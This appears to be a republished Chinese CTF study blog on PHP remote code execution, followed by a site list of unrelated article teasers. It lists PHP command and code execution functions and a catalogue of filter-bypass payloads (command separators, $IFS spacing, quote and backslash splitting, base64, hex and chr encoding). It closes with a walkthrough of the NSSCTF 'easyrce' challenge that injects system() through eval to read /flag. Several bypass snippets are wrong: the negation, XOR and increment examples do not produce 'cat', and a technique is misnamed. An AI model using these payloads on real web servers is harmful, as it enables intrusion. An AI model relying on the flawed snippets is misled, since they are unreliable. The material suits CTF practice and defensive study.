Web三漏洞学习(其三:rce漏洞)

靶场:NSSCTF

三、RCE漏洞

1、概述

在Web应用开发中会让应用调用代码执行函数系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞

所以常见的RCE漏洞函数又分为代码执行函数系统命令执行函数

2、常见RCE漏洞函数

<1>系统命令执行函数

(这些函数用于在服务器上执行操作系统级别的命令,比如在Linux上运行ls列出目录内容,或者在Windows上运行dir

system(): 能将字符串作为OS命令执行,且返回命令执行结果,即执行系统命令,并将输出显示到屏幕上

例如

system("ls -l");

这条命令会在服务器上运行ls -l列出当前目录下的文件文件夹,并将结果显示到屏幕上

exec():能将字符串作为OS命令执行,但只返回执行结果的最后一行(约等于无回显)(执行系统命令,但不会直接显示输出。输出可以被捕获到一个变量中)

$output = [];
exec("ls -l", $output);
print_r($output);

这条命令会在服务器上运行ls -l,并将输出存储$output数组中,可以通过print_r查看输出内容 

shell_exec():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将输出作为字符串返回

例如

$output = shell_exec("ls -l");
echo $output;

这条命令会在服务器上运行ls -l,并将输出作为字符串返回,可以通过echo将结果显示出来。

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上,即执行系统命令,并将原始输出直接输出到屏幕上

例如

passthru("ls -l");

这条命令会在服务器上运行ls -l,并将原始输出直接显示在屏幕上,不会进行任何处理。

popen():打开进程文件指针 ,也就是打开一个进程管道,用于执行系统命令,并可以读取或写入数据。

例如

$handle = popen("ls -l", "r");
$output = fread($handle, 2096);
pclose($handle);
echo $output;

这条命令会在服务器上运行ls -l,并通过popen打开一个管道,你可以通过fread读取输出内容

proc_open():与上面的popen()类似

pcntl_exec():在当前进程空间执行指定程序,其为 PHP 中的一个函数,用于在当前进程空间中执行指定的程序。它会替换当前进程的代码,而不是启动一个新的进程。这意味着当前 PHP 脚本会被中断,新的程序会在同一个进程中运行。

例如假设我有一个 PHP 脚本,我想在其中执行一个外部程序(比如 ls 命令)

<?php
// 使用 pcntl_exec 执行外部程序
pcntl_exec('/bin/ls', ['-l', '/var/www/html']);
?>

/bin/ls 是要执行的程序路径

['-l', '/var/www/html'] 是传递给程序的参数,表示以长格式列出 /var/www/html 目录下的文件 

" : 反引号内的字符串会被解析为OS命令。在 PHP 中用于执行系统命令。反引号内的字符串会被解析为操作系统命令,并将命令的输出作为字符串返回。

例如假设我有一个 PHP 脚本,你想在其中执行一个系统命令(比如 ls 命令)并捕获输出

<?php
// 使用反引号执行系统命令并捕获输出
$output = `ls -l /var/www/html`;
echo $output;
?>

`ls -l /var/www/html` 是要执行的系统命令;

反引号内的命令会被执行,输出会被存储到 $output 变量中;

使用 echo 输出捕获的内容 。

<2>代码执行函数

(这些函数用于在服务器上执行PHP代码其他编程语言代码。它们可以让攻击者直接执行恶意代码,而不仅仅是系统命令)

eval():将字符串作为php代码执行(或者说执行字符串中的php代码)

例如

$code = "echo 'Hello, World!';";
eval($code);

这条命令会将字符串$code中的PHP代码执行,输出Hello, World!

assert():也是将字符串作为php代码执行(或执行字符串中的php代码,与eval()类似)

例如

$code = "echo 'Hello, World!';";
assert($code);

这条命令会将字符串$code中的PHP代码执行,输出Hello, World! 

preg_replace():这则匹配替换字符串

create_function():主要创建匿名函数,并执行其中的代码

例如

$code = "echo 'Hello, World!';";
$func = create_function('', $code);
$func();

这条命令会创建一个匿名函数,将字符串$code中的PHP代码作为函数体,然后调用这个函数,输出Hello, World! 

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数

例如

function my_function() {echo 'Hello, World!';
}
call_user_func('my_function');

这条命令会调用my_function函数,输出Hello, World! 

call_user_func_arry():回调函数,第一个参数为函数名,第二个参数为函数的参数,即调用一个用户定义的函数,并传递参数。

例如

function my_function($name) {echo "Hello, $name!";
}
call_user_func_array('my_function', ['World']);

这条命令会调用my_function函数,并传递参数'World',输出Hello, World! 

可变函数:若变量有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行

通俗的理解:

想象一下,你有一个遥控器,可以控制一台电视。系统命令执行函数就像是遥控器上的按钮,你可以按这些按钮来让电视执行某些操作,比如换台、调节音量等。而代码执行函数就像是直接控制电视内部的电路板,你可以让电视做任何你想做的事情,比如显示自定义的图像或播放自定义的音频

3、RCE绕过

管道符 绕过

如果管道符(|)被过滤,可以使用分号(;)、双与(&&)或双或(||

管道符实例描述
;A;B无论真假,A与B都执行
&A&B无论真假,A与B都执行
&&A&&BA为真时才执行B,否则只执行A
|A|B显示B的执行结果
||A||BA为假时才执行B,否则只执行A

空格过滤 绕过

如果空格被过滤,可以使用$IFS、制表符(%09)或大括号({}

以下可代替空格
<<>%20(即space)
%09(即tab)$IFS$9${IFS}
$IFS{cat,/flag}

反斜杠\ 绕过

如果某些命令或字符被过滤,可以使用反斜杠(\)来绕过

//如cat、ls被过滤,使用\绕过
c\at /flag
l\s /

取反 绕过

通过取反操作来生成目标字符串

$a = "cat";
$b = ~$a; // 取反操作
$cmd = $b;

异或 绕过

通过异或操作来生成目标字符串

$a = "cat";
$b = $a ^ "dog"; // 异或操作
$cmd = $b;

自增 绕过

通过自增操作来生成目标字符串

$a = "ca";
$a++; // 自增操作
$cmd = $a;

黑名单 绕过

如果某些命令或函数被过滤,可以尝试变量拼接或内联执行

// 原始命令
$cmd = "cat /flag";
// 绕过
$b = "ag";
$cmd = "cat /fl$b";

正则匹配 绕过

如果某些字符或模式被正则过滤,可以使用通配符或正则表达式

// 原始命令
$cmd = "cat /flag";
// 绕过
$cmd = "cat /f???";
// 或者
$cmd = "cat /fl[a-z]{3}";

引号绕过
    //如cat、ls被过滤ca""t /flagl's' /

cat替换命令
morelesscattac
headtailvivim
nlodsortuniq
tac与cat相反,按行反向输出
more按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less与more类似
tail查看文件末几行
head查看文件首几行
nl在cat查看文件的基础上显示行号
od以二进制方式读文件,od -A d -c /flag转人可读字符
xxd以二进制方式读文件,同时有可读字符显示
sort排序文件
uniq报告或删除文件的重复行
file -f报错文件内容
grep过滤查找字符串,grep flag /flag
base编码绕过

Base64编码可以将命令编码为ASCII字符串,然后在目标系统上解码并执行

假设过滤器会过滤掉某些字符,可以使用Base64编码

$encoded_cmd = "Y2F0IC9mbGFn"; // Base64编码后的 "cat /flag"
$decoded_cmd = base64_decode($encoded_cmd);
system($decoded_cmd);

Hex编码绕过

Hex编码可以将命令编码为十六进制字符串,然后在目标系统上解码并执行

假设过滤器会过滤掉某些字符,可以使用Hex编码

$hex_cmd = "636174202f666c6167"; // Hex编码后的 "cat /flag"
$decoded_cmd = hex2bin($hex_cmd);
system($decoded_cmd);

回溯 绕过

回溯绕过通常用于绕过对某些字符或命令的直接过滤。通过构造复杂的表达式,让过滤器在解析时出现错误或绕过

假设过滤器会直接过滤掉 cat 命令,可以使用回溯绕过:

$cmd = "ca"."t /flag";
system($cmd);

无回显RCE

将执行结果输出到文件中,再访问文件

// 原始命令
$cmd = "ls -l";
// 绕过
$cmd = "ls -l > /tmp/output";
// 然后访问 /tmp/output 文件

无参数RCE

利用某些函数不需要参数的特性

// 原始命令
$cmd = "id";
// 绕过
$cmd = "id > /tmp/output";
无字母数字RCE

假设过滤器会过滤掉所有字母和数字,可以使用chr函数来生成目标命令

<?php
// 使用 chr 函数生成字符
$cmd = chr(99) . chr(97) . chr(116) . " " . chr(47) . chr(102) . chr(108) . chr(97) . chr(103);// 执行命令
system($cmd);
?>

代码解释:

<1>这里的char函数

chr函数用于生成指定ASCII值的字符;

例如:

  • chr(99) 生成字符 c

  • chr(97) 生成字符 a

  • chr(116) 生成字符 t

  • chr(47) 生成字符 /

  • chr(102) 生成字符 f

  • chr(108) 生成字符 l

  • chr(97) 生成字符 a

  • chr(103) 生成字符

 (其实就是从字符a开始,对应char(97),依次往后递增:b是char(98);c是char(99);d是char(100)...)

<2>字符串拼接

使用点 (.) 将生成的字符拼接成完整的命令字符串

<3>执行命令

使用system函数执行拼接后的命令

假设目标系统中有一个文件/flag,运行上述代码后,会输出/flag文件的内容

 总之通过使用chr函数生成字符,并通过字符串拼接构造命令,可以在不使用字母和数字的情况下实现无字母数字RCE。这种方法可以有效绕过严格的输入过滤器

理论完了接下来就是实践

【SWPUCTF 2021 新生赛】easyrce

查看源代码

可以看到源码使用了eval()函数接收GET传参的url参数(上面说过,eval()函数会将字符串作为php代码执行)

这样就比较简单了,只要题目没有对我们的输入内容进行严格的过滤,直接利用eval()函数执行php恶意代码就可以达到我们的目的

比如我现在利用phpinfo();语句查看php信息

可以看到PHP配置信息,说明服务器执行了phpinfo()函数(即上面所说代码执行函数

假如现在我再换一个系统命令执行函数(system()     命令:?url=system("ls -l");

可以看到列出了当前目录下的文件和文件夹 (即上面所说系统命令执行函数

那既然解题时是为了flag而来,就应该想想怎么利用这些东西来get flag

这里说一下这两个函数的区别:

system("ls /");

这个命令表示列出根目录下的文件和名称 ;

system("ls -l");

而这个命令表示的是以长格式列出当前工作目录下的文件目录详细信息

然后我刚刚用的是这个命令:system("ls -l");

回显这一串

这表示的是当前工作目录下只有一个文件index.php,还显示了该文件的详细信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的详细信息)

那这样说的话假如我换命令system("ls /l"); 也就是列出根目录下的文件和名称, 回显肯定是不同的,那就执行一下看看:

可以看到回显出的根目录,其的确与回显当前工作目录文件名的命令不一样,这说明PHP脚本的当前工作目录不是根目录/),而是某个特定的目录,例如脚本所在的目录

这样也就提醒了我以后尽量先用找根目录的命令(system("ls /");),这样一层层往里剥

诶其中的flllllaaaaaaggggggg目录明显就是提醒flag所在,那就针对这个目录即可

然后由于比较简单,一 cat就出flag了(Linux的OS命令cat:显示文件内容)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/902069.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始:Python运行环境之VSCode与Anaconda安装配置全攻略 (1)

从零开始&#xff1a;Python 运行环境之 VSCode 与 Anaconda 安装配置全攻略 在当今数字化时代&#xff0c;Python 作为一种功能强大且易于学习的编程语言&#xff0c;被广泛应用于数据科学、人工智能、Web 开发等众多领域。为了顺利开启 Python 编程之旅&#xff0c;搭建一个稳…

从FPGA实现角度介绍DP_Main_link主通道原理

DisplayPort&#xff08;简称DP&#xff09;是一个标准化的数字式视频接口标准&#xff0c;具有三大基本架构包含影音传输的主要通道&#xff08;Main Link&#xff09;、辅助通道&#xff08;AUX&#xff09;、与热插拔&#xff08;HPD&#xff09;。 Main Link&#xff1a;用…

嵌入式软件--stm32 DAY 2

大家学习嵌入式的时候&#xff0c;多多学习用KEIL写代码&#xff0c;虽然作为编译器&#xff0c;大家常用vscode等常用工具关联编码&#xff0c;但目前keil仍然是主流工具之一&#xff0c;学习掌握十分必要。 1.再次创建项目 1.1编译器自动生成文件 1.2初始文件 这样下次创建新…

游戏引擎学习第234天:实现基数排序

回顾并为今天的内容设定背景 我们今天继续进行排序的相关&#xff0c;虽然基本已经完成了&#xff0c;但还是想收尾一下&#xff0c;让整个流程更完整。其实这次排序只是个借口&#xff0c;主要是想顺便聊一聊一些计算机科学的知识点&#xff0c;这些内容在我们项目中平时不会…

计算机网络——常见的网络攻击手段

什么是XSS攻击&#xff0c;如何避免? XSS 攻击&#xff0c;全称跨站脚本攻击&#xff08;Cross-Site Scripting&#xff09;&#xff0c;这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆&#xff0c;因此有人将跨站脚本攻击缩写为XSS。它指的是恶意攻击者往Web页面…

Agent的九种设计模式 介绍

Agent的九种设计模式 介绍 一、ReAct模式 原理:将推理(Reasoning)和行动(Acting)相结合,使Agent能够在推理的指导下采取行动,并根据行动的结果进一步推理,形成一个循环。Agent通过生成一系列的思维链(Thought Chains)来明确推理步骤,并根据推理结果执行相应的动作,…

LeetCode 热题 100:回溯

46. 全排列 给定一个不含重复数字的数组 nums &#xff0c;返回其 所有可能的全排列 。你可以 按任意顺序 返回答案。 示例 1&#xff1a; 输入&#xff1a;nums [1,2,3] 输出&#xff1a;[[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]]示例 2&#xff1a; 输入&#xff…

cJSON_Print 和 cJSON_PrintUnformatted的区别

cJSON_Print 和 cJSON_PrintUnformatted 是 cJSON 库中用于将 cJSON 对象转换为 JSON 字符串的两个函数&#xff0c;它们的区别主要在于输出的格式&#xff1a; 1. cJSON_Print 功能&#xff1a;将 cJSON 对象转换为格式化的 JSON 字符串。 特点&#xff1a; 输出的 JSON 字符…

A股周度复盘与下周策略 的deepseek提示词模板

以下是反向整理的股票大盘分析提示词模板&#xff0c;采用结构化框架数据占位符设计&#xff0c;可直接套用每周市场数据&#xff1a; 请根据一下markdown格式的模板&#xff0c;帮我检索整理并输出本周股市复盘和下周投资策略 【A股周度复盘与下周策略提示词模板】 一、市场…

Linux下使用C++获取硬件信息

目录 方法获取CPU信息&#xff1a;读取"/proc/cpuinfo"文件获取磁盘信息&#xff1a;读取"/proc/diskstats"文件获取BIOS信息有两种方法&#xff1a;1、读取文件&#xff1b;2、使用dmidecode命令获取主板信息有两种方法&#xff1a;1、读取文件&#xff1…

BootStrap:进阶使用(其二)

今天我要讲述的是在BootStrap中第二篇关于进一步使用的方法与代码举例; 分页&#xff1a; 对于一些大型网站而言&#xff0c;分页是一个很有必要的存在&#xff0c;如果当数据内容过大时&#xff0c;则需要分页来分担一些&#xff0c;这可以使得大量内容能整合并全面地展示&a…

【技术派后端篇】技术派中的白名单机制:基于Redis的Set实现

在技术派社区中&#xff0c;为了保证文章的质量和社区的良性发展&#xff0c;所有发布的文章都需要经过审核。然而&#xff0c;并非所有作者的文章都需要审核&#xff0c;我们通过白名单机制来优化这一流程。本文将详细介绍技术派中白名单的实现方式&#xff0c;以及如何利用Re…

TRAE.AI 国际版本

国际版下载地址&#xff1a; https://www.trae.ai/https://www.trae.ai/ 国际版本优势&#xff1a;提供更多高校的AI助手模型 Claude-3.5-Sonnet Claude-3.7-Sonnet Gemini-2.5-Pro GPT-4.1 GPT-40 DeepSeek-V3-0324DeepSeek-V3DeepSeek-Reasoner(R1)

关于支付宝网页提示非官方网页

关于支付宝网站提示 非官方网站 需要找官方添加白名单 下面可以直接用自己的邮箱去发送申请 支付宝提示“非支付宝官方网页&#xff0c;请确认是否继续访问”通常是因为支付宝的安全机制检测到您访问的页面不是支付宝官方页面&#xff0c;这可能是由于域名或页面内容不符合支…

【今日三题】打怪(模拟) / 字符串分类(字符串哈希) / 城市群数量(dfs)

⭐️个人主页&#xff1a;小羊 ⭐️所属专栏&#xff1a;每日两三题 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 打怪(模拟)字符串分类(字符串哈希)城市群数量(dfs) 打怪(模拟) 打怪 #include <iostream> using namespace std;int …

npm install 版本过高引发错误,请添加 --legacy-peer-deps

起因&#xff1a;由于使用"react": "^19.0.0", 第三方包要低版本react&#xff0c;错解决方法&#xff01; npm install --save emoji-mart emoji-mart/data emoji-mart/react npm install --save emoji-mart emoji-mart/data emoji-mart/react npm err…

Python基础总结(七)之条件语句

文章目录 条件语句if一、Python中的真假二、条件语句格式2.1 if语句格式2.2 if-else语句2.3 if-elif-else语句 三、if语句嵌套 条件语句if 条件语句其实就是if语句&#xff0c;在讲解if语句之前需要知道Python中对于真假的判断。 一、Python中的真假 在Python中非0的都为真&…

基于Ubuntu2504部署OpenStack E版

OpenStack 初始化环境安装数据库、memcahe、rabbitmq等服务安装keystone服务安装glance服务安装placement服务安装nova服务安装neutron服务安装horizon服务 官网 OpenStack Epoxy 巩固了作为 VMware 替代方案的地位&#xff0c;增强了安全性&#xff0c;并改进了硬件支持 第 3…

可发1区的超级创新思路(python 、MATLAB实现):基于多尺度注意力TCN-KAN与小波变换的时间序列预测模型

一、数学模型与原理 1.1 小波变换多尺度分解 输入功率序列 x(t) 经小波变换分解为近似系数 Aj​ 与细节系数 Dj​: 1.2 多尺度TCN特征提取 对每个尺度子序列 {A3​,D3​,D2​,D1​} 采用独立TCN: 式中 ∗d​ 为扩张率 d=2l 的扩张卷积,Wd​ 为可学习参数。 1.3 多尺度注…

YOLOv11改进有效涨点专栏:从理论到实战的深度优化指南

## YOLOv11的进化之路 在目标检测领域,YOLO系列算法始终保持着革命性的创新步伐。YOLOv11作为该系列的最新演进版本,在保持实时检测优势的同时,通过架构层面的深度优化实现了精度与速度的平衡。本文将从**七大核心模块**出发,系统性地解析针对YOLOv11的有效改进方案,涵盖从…